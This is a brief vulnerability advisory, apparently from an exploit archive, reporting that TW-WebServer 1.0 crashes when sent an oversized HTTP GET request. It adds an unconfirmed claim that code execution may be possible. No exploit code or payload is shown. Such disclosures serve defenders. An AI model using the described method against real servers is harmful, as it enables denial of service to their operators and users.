TW-WebServer 1.0 - Denial of Service (2)

// source: https://www.securityfocus.com/bid/7368/info
 
It has been reported that TW-WebServer is prone to a denial of service vulnerability. Reportedly when an excessive quantity of data is sent to the TW-Webserver as part of a malicious HTTP GET request the server will fail.
 
Although unconfirmed, due to the nature of this vulnerability, an attacker may have the ability to supply and execute arbitrary code.
